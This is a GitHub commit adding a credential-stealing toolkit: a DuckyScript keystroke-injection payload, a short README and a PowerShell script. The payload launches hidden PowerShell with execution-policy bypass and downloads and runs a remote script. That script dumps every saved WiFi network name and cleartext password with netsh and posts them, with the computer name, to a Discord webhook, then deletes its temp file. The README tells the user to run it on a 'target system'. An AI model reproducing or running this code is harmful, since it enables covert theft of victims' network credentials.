Add files via upload

This commit is contained in:
egieb
2023-12-29 14:25:40 +00:00
committed by GitHub
parent 6e6fd69a8b
commit 92cc2989f6
3 changed files with 63 additions and 0 deletions

View File

@@ -0,0 +1,19 @@
REM Title: beigeworm's saved WiFi to Discord Webhook.
REM Author: @beigeworm
REM Description: This script collects saved WiFi info and posts results to a discord webhook.
REM Target: Windows 10
REM *SETUP*
REM replace DISCORD_WEBHOOK_HERE with your Discord Webhook.
REM some setup for dukie script
DEFAULT_DELAY 100
REM open powershell (remove "-W H" to show the window)
DELAY 1000
GUI r
DELAY 750
STRING powershell -NoP -Ep Bypass -W H -C $dc='DISCORD_WEBHOOK_HERE'; irm https://raw.githubusercontent.com/beigeworm/assets/main/Scripts/DC-WiFi-Grab.ps1 | iex
ENTER

View File

@@ -0,0 +1,13 @@
<h2 align="center"> Saved Wifi Networks to Discord </h2>
SYNOPSIS
This script gathers WiFi information and posts to a discord webhook address with the results.
USAGE
1. Input your credentials below
2. Run Script on target System
3. Check Discord for results

View File

@@ -0,0 +1,31 @@
$whuri = "$dc"
$outfile=""
$a=0
$ws=(netsh wlan show profiles) -replace ".*:\s+"
foreach($s in $ws){
if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "<None>" -And $s.length -gt 5){
$ssid=$s.Trim()
if($s -Match ":"){
$ssid=$s.Split(":")[1].Trim()
}
$pw=(netsh wlan show profiles name=$ssid key=clear)
$pass="None"
foreach($p in $pw){
if($p -Match "Key Content"){
$pass=$p.Split(":")[1].Trim()
$outfile+="SSID: $ssid : Password: $pass`n"
}
}
}
$a++
}
$outfile | Out-File -FilePath "$env:temp\info.txt" -Encoding ASCII -Append
$Pathsys = "$env:temp\info.txt"
$msgsys = Get-Content -Path $Pathsys -Raw
$escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&amp;').Replace('<', '&lt;').Replace('>', '&gt;')}
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json
Start-Sleep 1
Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys
Remove-Item -Path $Pathsys -force